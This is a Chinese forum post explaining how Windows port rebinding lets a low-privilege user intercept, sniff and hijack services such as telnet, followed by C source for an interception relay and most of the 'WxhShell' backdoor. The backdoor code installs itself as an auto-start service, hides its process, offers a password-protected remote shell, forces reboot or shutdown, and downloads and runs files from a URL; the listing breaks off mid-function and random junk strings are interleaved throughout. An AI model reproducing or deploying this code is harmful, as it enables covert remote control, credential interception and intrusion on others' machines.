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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <4Q12:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m(Y.X=EZr  
-jVaS w t  
  saddr.sin_family = AF_INET; Be{/2jU%  
98A(jsj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dr6s ^}}~n  
;wbUk5Tf/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =a9etF%B  
z9M.e.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "brRME3  
}. xrJ52Tz  
  这意味着什么?意味着可以进行如下的攻击: B.YMP;7>  
;vJ\]T ml  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2Io6s '  
v\ %B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rv}mD  
3ximNQ} S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9k\)tWe  
x7.QL?qR.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5pM&h~M  
`V&1]C8x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `*NO_ K  
_r\$NgJIM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;P;"F21^>  
P{S\pWZkk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "!%wh6`>Md  
[7gYd+s  
  #include ?GO SeV  
  #include SE^j=1  
  #include j,C,5l=  
  #include    j0iAU1~_VX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |DE%SVZB  
  int main() :xFu_%7  
  { hIuMHq7h  
  WORD wVersionRequested; .hX0c"f]b  
  DWORD ret; `/O`OrZ1K  
  WSADATA wsaData; Tm)GC_  
  BOOL val; OJP5k/U$  
  SOCKADDR_IN saddr; T- |9o|~z  
  SOCKADDR_IN scaddr; gB>imr#e&  
  int err; sno`=+|U]  
  SOCKET s; pb^,Qvnp   
  SOCKET sc; ]*N:;J  
  int caddsize; V1SqX:;b&  
  HANDLE mt; >ZT& `E  
  DWORD tid;   OM.k?1%+M  
  wVersionRequested = MAKEWORD( 2, 2 ); y?pD(u  
  err = WSAStartup( wVersionRequested, &wsaData ); o"p^/'ri  
  if ( err != 0 ) { c,y|c`T 2  
  printf("error!WSAStartup failed!\n"); %MJL5  
  return -1; #?{qlgv<p  
  } MA\m[h]  
  saddr.sin_family = AF_INET; =)I"wR"v$  
   90/vJN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A8pj~I/*-  
T[;; 9z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1 -ZJT  
  saddr.sin_port = htons(23); }zFf0.82  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I^~=,D  
  { l|YT[LR7  
  printf("error!socket failed!\n"); 0K<x=-cCB  
  return -1; .,3Zj /  
  } ^rv"o:lF  
  val = TRUE; z % x7fe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &<,SV^w ag  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l~bKBz  
  { J yj0Gco  
  printf("error!setsockopt failed!\n"); 6HoqEku/Q  
  return -1; [X,A'Q  
  } AR%hf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /+V Iw`E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CjZZm^O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R?cUy8?'S  
_!n}P5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i S%  
  { OJAx:&]3  
  ret=GetLastError(); <lMg\T?K  
  printf("error!bind failed!\n"); *>jjMyn  
  return -1; o`bo#A  
  } #HeM,;Xp  
  listen(s,2); lT.zNhz:d9  
  while(1) 2fJ{LC  
  { zZ%DtxUoU.  
  caddsize = sizeof(scaddr); }A]BpSEP  
  //接受连接请求 ,c>N}*6h=W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^q ;Cx7T_p  
  if(sc!=INVALID_SOCKET) FigR1/3o'6  
  { gQ37>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0rD#s{?   
  if(mt==NULL) mjb { ~  
  { nV}8M  
  printf("Thread Creat Failed!\n"); (}Sr08m  
  break; No) m/17y  
  } Sp:l;SGd  
  } WsR+Np@c  
  CloseHandle(mt); Ia2(Km  
  } C.~ j'5N  
  closesocket(s); $>*Yhz `  
  WSACleanup(); !X|k"km"  
  return 0; fb .J$fX  
  }   [*8Y'KX <  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7^$)VBQ/  
  { ZK6Hvc0  
  SOCKET ss = (SOCKET)lpParam; o0ZIsrr  
  SOCKET sc;  1,,|MW  
  unsigned char buf[4096]; ak;6z]f8[  
  SOCKADDR_IN saddr; n@!wp/J,  
  long num; %KtU1A(["  
  DWORD val; !}y1CA  
  DWORD ret; \fZiL!E^7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c'Z: 9?#5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rK1-Mu  
  saddr.sin_family = AF_INET; Z!6UW:&~7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ebC)H  
  saddr.sin_port = htons(23); 4KXc~eF[M"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XphE loL  
  { !:WW  
  printf("error!socket failed!\n"); IG< H"tQ  
  return -1; J8?2R^;{  
  } !\-WEQrp\  
  val = 100; >"v9iT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pMR,#[U<  
  { a(;!O}3_)(  
  ret = GetLastError(); gl{B=NN  
  return -1; ? }yfKU`  
  } d"E^SBO&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bFY~oa%C  
  { ba3*]01Yb  
  ret = GetLastError(); LY 0]l$  
  return -1; ,\YAnKn6_  
  } mM_ k ^4:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qnChM ;)  
  { nirDMw[  
  printf("error!socket connect failed!\n"); 1vnYogL   
  closesocket(sc); , sjh^-;  
  closesocket(ss); Zd!U')5/  
  return -1; OcmRZ  
  } =dZHYO^Cv  
  while(1) D3D}DaEYj  
  { uo2'"@[e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ! zL1;d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tF7hFL5f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Io  n~  
  num = recv(ss,buf,4096,0); NBYH;h P  
  if(num>0) x|i_P|Z  
  send(sc,buf,num,0); -MBV $:_R  
  else if(num==0) D`[Khsf  
  break; Dnw|%6Y  
  num = recv(sc,buf,4096,0); Fh8lmOL;?  
  if(num>0) 8R/dA<Ww  
  send(ss,buf,num,0); 3BG>Y(v  
  else if(num==0) E{?au]y$J  
  break; *bd[S0l  
  } $, 3J7l3  
  closesocket(ss); = &tmP  
  closesocket(sc); -C-yQ.>\T#  
  return 0 ; )Ry<a$Q3  
  } M f~}/h  
7f3O  
]p7jhd=  
========================================================== T/pqSmVpM  
j8Cho5C  
下边附上一个代码,,WXhSHELL 15U(={  
hI},~af  
========================================================== c!#:E`  
5T@aCC@$h  
#include "stdafx.h" b[I8iSkfi  
l(;Kij  
#include <stdio.h> ]e'fa/I  
#include <string.h> cPDQ1qre!  
#include <windows.h> `R"~v/x  
#include <winsock2.h> |'d>JT:  
#include <winsvc.h> I_1e?\  
#include <urlmon.h> I%j_"r9-I  
*.#oxcll  
#pragma comment (lib, "Ws2_32.lib") >UDd @  
#pragma comment (lib, "urlmon.lib") - e"jw#B  
.,0bE  
#define MAX_USER   100 // 最大客户端连接数 wE]K~y!`  
#define BUF_SOCK   200 // sock buffer q1?&Ev^  
#define KEY_BUFF   255 // 输入 buffer k{;,6H  
Q GZyL)Q  
#define REBOOT     0   // 重启 X5LBEOG  
#define SHUTDOWN   1   // 关机 \C,p WW  
_P?s'HH  
#define DEF_PORT   5000 // 监听端口 |`TgX@,#9  
En{`@JsM  
#define REG_LEN     16   // 注册表键长度 1r Ky@9   
#define SVC_LEN     80   // NT服务名长度 M_g ?<rK  
/D! ;u]  
// 从dll定义API 2*w0t:Yx e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dre2J<QL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z2_6??tS/c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a 2 IgC25  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ryB}b1`D  
'2^7-3_1  
// wxhshell配置信息 5"XC$?I<}  
struct WSCFG { PHOP%hI $  
  int ws_port;         // 监听端口 0k)rc$eDF+  
  char ws_passstr[REG_LEN]; // 口令 Q7Iw[=;\  
  int ws_autoins;       // 安装标记, 1=yes 0=no yAL[[  
  char ws_regname[REG_LEN]; // 注册表键名 GZI`jS"lU  
  char ws_svcname[REG_LEN]; // 服务名 'k;rH !R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wX  >*H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #$1Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oND@:>QBF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mKr h[nA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W-NDBP:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q></`QWpoB  
L:XC  
}; X+UJzR90  
"&/-N[is  
// default Wxhshell configuration c\a_VRN>r  
struct WSCFG wscfg={DEF_PORT, svxw^ 0~a  
    "xuhuanlingzhe", 8NyJc"T<.  
    1, [ ol9|sdu  
    "Wxhshell", > pI;%'  
    "Wxhshell", hxQqa 0B  
            "WxhShell Service", y@0E[/O  
    "Wrsky Windows CmdShell Service", ]vwW]O7  
    "Please Input Your Password: ", !*R qCS,  
  1, DL$@?.?I  
  "http://www.wrsky.com/wxhshell.exe", :#@= B]  
  "Wxhshell.exe" FEVEp  
    }; PDs@?nz,  
$Y69@s%f  
// 消息定义模块 1UPC e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '>r7V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EoK~S\dS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '!/<P"5t  
char *msg_ws_ext="\n\rExit."; hzkcP  
char *msg_ws_end="\n\rQuit."; UQ{L{H   
char *msg_ws_boot="\n\rReboot..."; Z&;uh_EC  
char *msg_ws_poff="\n\rShutdown..."; vZ.x{"n'~  
char *msg_ws_down="\n\rSave to "; [Xb@Wh:yG  
9eH$XYy  
char *msg_ws_err="\n\rErr!"; uj :%#u  
char *msg_ws_ok="\n\rOK!"; BNL;Biy t7  
uEX!xx?Q#  
char ExeFile[MAX_PATH]; g$b<1:8  
int nUser = 0; dCRyOid$  
HANDLE handles[MAX_USER]; /~zai}  
int OsIsNt; 8F._9U-EN  
&Z`#cMR{H  
SERVICE_STATUS       serviceStatus; hCC<?5q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (1#J%  
T}8Y6N<\m  
// 函数声明 6i1LjLB  
int Install(void); #Y$hNQQ$F  
int Uninstall(void); h*-Pr8  
int DownloadFile(char *sURL, SOCKET wsh); z CvKDlL  
int Boot(int flag); PYGRsrcFd#  
void HideProc(void); )jt #=9ZQ  
int GetOsVer(void); A!h`]%0B  
int Wxhshell(SOCKET wsl); 4O35 "1  
void TalkWithClient(void *cs); ZMel{w`n  
int CmdShell(SOCKET sock); [eC2"&}  
int StartFromService(void); @)fd}tV  
int StartWxhshell(LPSTR lpCmdLine); ouuuc9x]  
J:Qa5MTWp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,^C--tgZJg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k |eBJ%  
2AMo:Jqv  
// 数据结构和表定义 /Njd[= B  
SERVICE_TABLE_ENTRY DispatchTable[] = g*_cP U0~m  
{ ' ~8KSF*!p  
{wscfg.ws_svcname, NTServiceMain}, 0N $v"uX@  
{NULL, NULL} #w' kV#  
}; [Al&  
INJEsz  
// 自我安装 cLLbZ=`  
int Install(void) iv4H#rJ  
{ !wNr3LG  
  char svExeFile[MAX_PATH]; 2.l:O2<  
  HKEY key; ]7RD"}  
  strcpy(svExeFile,ExeFile); d8c=L8~jt  
R^Y <RI  
// 如果是win9x系统,修改注册表设为自启动 fTK3,s1=  
if(!OsIsNt) { 5fd]v<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =,6z4" )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NU5.o$  
  RegCloseKey(key); oU.R2\Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u)+8S/ )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Ge"anO  
  RegCloseKey(key); 5Ou`z5S\k  
  return 0; *^VRGfpb  
    } +l<5#pazx  
  } 9,:l8  
} ! t?iXZ  
else { ]1#e#M]#  
L?mrba y  
// 如果是NT以上系统,安装为系统服务 P*3BB>FO   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x"~8*V'0  
if (schSCManager!=0) 5>D>% iaHv  
{ :&V h?  
  SC_HANDLE schService = CreateService *V8<:OG|e  
  ( >I-RGW'A  
  schSCManager, 0dE@c./R i  
  wscfg.ws_svcname, a%/9v"}  
  wscfg.ws_svcdisp, 4NheWM6  
  SERVICE_ALL_ACCESS, "&G/T ?4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |EX(8y  
  SERVICE_AUTO_START, 128EPK  
  SERVICE_ERROR_NORMAL, 5K>3My#  
  svExeFile, QI'Oz{vE  
  NULL, \/zq7j  
  NULL, \fz<.l]  
  NULL, 4%>$-($  
  NULL, R;uvkg[o  
  NULL S2sQOM@  
  ); SB H(y)  
  if (schService!=0) <Tzrj1"Q3  
  { -#u=\8  
  CloseServiceHandle(schService); r*2+xDoEi  
  CloseServiceHandle(schSCManager); 3no%E03p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s >7}zU]  
  strcat(svExeFile,wscfg.ws_svcname); saBVgSd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S&Zm0Ku  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fI?>+I5  
  RegCloseKey(key); B~MU^ |v  
  return 0; jnO9j_CY  
    } %*A0# F  
  } y\4L{GlBM  
  CloseServiceHandle(schSCManager); U)fc*s  
} >E;uU[v)I  
} ]!?;@$wx  
+%yfcyZ.  
return 1; :~"CuB/  
} JVvs-bK5  
3% #3iZ=_  
// 自我卸载 t<.)Z-Ii  
int Uninstall(void) AifWf2$S  
{ _mqL8ho  
  HKEY key; 2b}t,&bv?  
Q{sH3Y#l  
if(!OsIsNt) { q/4J.j L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <=zQ NBtx  
  RegDeleteValue(key,wscfg.ws_regname); ?PuBa`zDE  
  RegCloseKey(key); vYwYQG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1gL2ia  
  RegDeleteValue(key,wscfg.ws_regname); q6McGHT  
  RegCloseKey(key); Yg]-wQrH  
  return 0; dI.WK@W'o  
  } B3pCy~*5  
} l%k\JY-  
} {j.bC@hWw  
else { =)0,#9k U]  
n,vct<&z@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?A K(|  
if (schSCManager!=0) Sq>dt[7  
{ 1-8mFIK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BRw .]&/  
  if (schService!=0) }MJy +Z8&  
  { ,?J!  
  if(DeleteService(schService)!=0) { -^&<Z 0m  
  CloseServiceHandle(schService); >{q]&}^U  
  CloseServiceHandle(schSCManager); .[]r}[lU  
  return 0; >!eAM )  
  } $SlIr<'*"  
  CloseServiceHandle(schService); q}i]'7  
  } !a{^=#qq&I  
  CloseServiceHandle(schSCManager); )tC5Hijq,  
} lp.ldajN  
} Kfbb)?  
NH[kNi'  
return 1; EuZ<quwWg  
} td(li.,  
{DV_* 5  
// 从指定url下载文件 "M<8UE\n  
int DownloadFile(char *sURL, SOCKET wsh) Eq%}  
{ cq,SP&T~  
  HRESULT hr; &y\prip  
char seps[]= "/"; !{ y@od@T  
char *token; ux=w!y;}  
char *file; )1]ZtU  
char myURL[MAX_PATH]; .T}Wdn g  
char myFILE[MAX_PATH]; Q 1U\D  
GB23\Yv  
strcpy(myURL,sURL); ,1y@Z 5wy  
  token=strtok(myURL,seps); !44/sr'  
  while(token!=NULL) w^\52  
  { .N,bIQnj  
    file=token; _'#n6^Us<  
  token=strtok(NULL,seps); EuEZ D +  
  } 6Pz4\uE=  
hwPw]Ln/  
GetCurrentDirectory(MAX_PATH,myFILE); F|IAiE  
strcat(myFILE, "\\"); [u =+3b  
strcat(myFILE, file); 0.\/\V:H6  
  send(wsh,myFILE,strlen(myFILE),0); `XJG(Oas\  
send(wsh,"...",3,0); OTvPUkp*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WltQ63u  
  if(hr==S_OK) .8 2P(}h  
return 0; q}b dxa  
else WQx?[tW(U  
return 1; K='z G*$l  
t=BUN  
} /}((l%UE.  
OyU5DoDz1  
// 系统电源模块 AgWa{.`f:  
int Boot(int flag) g1;:KzVv  
{ %2}-2}[>  
  HANDLE hToken; C1V|0h u  
  TOKEN_PRIVILEGES tkp; `vU%*g&R  
.H escg/S  
  if(OsIsNt) { \q>bs|2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b10cuy|a/X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E7WK (  
    tkp.PrivilegeCount = 1; -{KQr1{5UM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T"(&b~m2b4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OstQqV%@  
if(flag==REBOOT) { Ka'=o?'B5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T tfo^ksw  
  return 0; HNb/-e ,"  
} p99 ]  
else { ^NLmgw Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @CNi{. RX  
  return 0; vRznw&^E  
} >d(~# Z`  
  } aJSO4W)P  
  else { |sa]F5  
if(flag==REBOOT) { SDC4L <!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V~UN  
  return 0; > ;jZa  
} QpF;:YX^3  
else { .14~J6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fPU`/6  
  return 0; ~Q*%DRd&Z-  
} Vo4,@scG  
} :v YYfs&  
Z/G ev"p  
return 1; |a8iZ9/D6  
} *tGY6=7O  
.7O*pJ2(H  
// win9x进程隐藏模块 &C:IX\  
void HideProc(void) Eu0akqZ  
{ pk>^?MO  
Ih@61>X.o*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .4S.>~^7  
  if ( hKernel != NULL ) JX<)EZ!F  
  { u]:oZMnj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E!;SL|lj.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3v(*5  
    FreeLibrary(hKernel); 2L!u1  
  } 3Nl <p"=  
-7SAK1c$  
return; -Mi p,EO  
} <<UB ^v m  
qjwxhabc  
// 获取操作系统版本 '|ad_M  
int GetOsVer(void) {vs uPY  
{ hC:n5]K  
  OSVERSIONINFO winfo; }~2LW" 1'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 02Y]`CXj  
  GetVersionEx(&winfo); 0*VWzH   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1f%1*L0>@  
  return 1; uOKCAqYa  
  else 3s5z UT;  
  return 0; $yN{-T"  
} w2Us!<x  
90Pl$#cb2  
// 客户端句柄模块 ]E7F /O/.  
int Wxhshell(SOCKET wsl) ,aOl_o -&  
{ 8Pfb~&X^Ws  
  SOCKET wsh; i1UiNJh86  
  struct sockaddr_in client; 9Q.rMs>qj  
  DWORD myID; ]Gzm^6v  
_uWpJhCT  
  while(nUser<MAX_USER) -^K"ZP1  
{ :D euX  
  int nSize=sizeof(client); RW|`nL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *RDn0d[  
  if(wsh==INVALID_SOCKET) return 1; tG:25T0  
kh!FR u h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H=@}=aPf  
if(handles[nUser]==0) O $LfuL  
  closesocket(wsh); vV6<^ W:9F  
else "C }b%aO:  
  nUser++; E8!e:l =Q  
  } ` w=>I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3e #p @sB  
pqk?|BvpK_  
  return 0; //*fSF   
} SlgN&{ Bk  
X]'{(?Ch  
// 关闭 socket xRJ\E }/7  
void CloseIt(SOCKET wsh) -1 FPkp  
{ pN!}UqfI-  
closesocket(wsh); ;l4[%xld  
nUser--; Diy8gt  
ExitThread(0); s&A} h  
} 6{x(.=  
qT ,Te  
// 客户端请求句柄 uvMy^_}L  
void TalkWithClient(void *cs) rEv@Y D  
{ )n+Lo&C<  
9Kpa><  
  SOCKET wsh=(SOCKET)cs; PbW(%7o(t  
  char pwd[SVC_LEN]; vo`2\R.  
  char cmd[KEY_BUFF]; 5)FJ:1-  
char chr[1]; ,3?Q(=j  
int i,j; -!q :p&c  
mIurA?&7!  
  while (nUser < MAX_USER) { Z?}dq-Vh&  
ADS9DiX/  
if(wscfg.ws_passstr) { 9`wZz~hL"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `2'#! -  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wr5AG<%(  
  //ZeroMemory(pwd,KEY_BUFF); ?sab*$wG  
      i=0; Lilr0|U+  
  while(i<SVC_LEN) { )+l\w3^6  
JF # # [O  
  // 设置超时 C3*gn}[  
  fd_set FdRead; G.rrv  
  struct timeval TimeOut; ?h.wK  
  FD_ZERO(&FdRead); "|Xk2U  
  FD_SET(wsh,&FdRead); [f)cL6AeF  
  TimeOut.tv_sec=8; y603$Cv  
  TimeOut.tv_usec=0; cU;iUf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iEd\6EZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ge2q%  
p=;=w_^y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]j'p :v  
  pwd=chr[0]; {/"2Vk<H8  
  if(chr[0]==0xd || chr[0]==0xa) { )#P; x "  
  pwd=0; mk1bcK9  
  break; HIQ _%L4]  
  } 5i> $]*o  
  i++; b6}H$Sx~  
    } [baiH|5>  
H GXt  
  // 如果是非法用户,关闭 socket I Y2)?"A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `4(e  
} sp#p8@Cj  
}lh I\q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PK;*u,V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2r!s*b\Ix  
qDv93  
while(1) { {. 2k6_1[  
c\iA89msp  
  ZeroMemory(cmd,KEY_BUFF); vI2^tX 9  
x$IX5:E#e  
      // 自动支持客户端 telnet标准   %1H[Wh(U  
  j=0; q<\,  
  while(j<KEY_BUFF) { /e7O$L)   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~KW,kyXBnD  
  cmd[j]=chr[0]; Av"R[)  
  if(chr[0]==0xa || chr[0]==0xd) { ]Bm/eRy"  
  cmd[j]=0; IqC]!H0  
  break; &GlwC%$S  
  } Cg&e(  
  j++; (@t(?Js  
    } RnhL< Ywu  
!OBEM1~ 1  
  // 下载文件 >iD )eB  
  if(strstr(cmd,"http://")) { _acE:H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); --HF8_8;'  
  if(DownloadFile(cmd,wsh)) T(e!_VY|m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XLAN Np%E  
  else Z0o~+Ct$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4T!+D  
  } BB~OqZIP  
  else { mMb'@  
{) Q@c)'  
    switch(cmd[0]) { e '2F#  
  t*>R`,j  
  // 帮助 #bl6sa{E  
  case '?': { IG|X!l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H2um|6>  
    break; 4F{)i  
  } 0TGLM#{  
  // 安装 L5#P[cHzz  
  case 'i': { RAG3o-  
    if(Install()) \RvvHty-V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % !du,2  
    else MxY/`9>E|+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e XfZ5(na  
    break; -PS#Z0>  
    } <Wp QbQM  
  // 卸载 c0hwc1kv-  
  case 'r': { NX|v=  
    if(Uninstall()) QNA RkYY~|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~*,m#uxJ  
    else jBU4F~1y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M#~Cc~oT  
    break; 'bo~%WA]n  
    } |!"2fI  
  // 显示 wxhshell 所在路径 +"8,Mh  
  case 'p': { tQ H+)*  
    char svExeFile[MAX_PATH]; 'B@e8S) y  
    strcpy(svExeFile,"\n\r"); i{ \%e  
      strcat(svExeFile,ExeFile); `67[O4$<  
        send(wsh,svExeFile,strlen(svExeFile),0); w9o^s5n  
    break; L+'Fs  
    } 7oq[38zB  
  // 重启 #*TEq  
  case 'b': { 1qf!DMcdZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %-<'QYYP  
    if(Boot(REBOOT)) !OT-b>*w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55;g1o}}f  
    else { sgO'wXcoP  
    closesocket(wsh); ~i21%$  
    ExitThread(0); Rr!Y3)f;  
    } {; .T7dL  
    break; Ma+$g1$  
    } h+aS4Q&  
  // 关机 ~_s{0g]B  
  case 'd': { 1P(|[W1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VMCLHpSfW  
    if(Boot(SHUTDOWN)) &NSY9'N,  
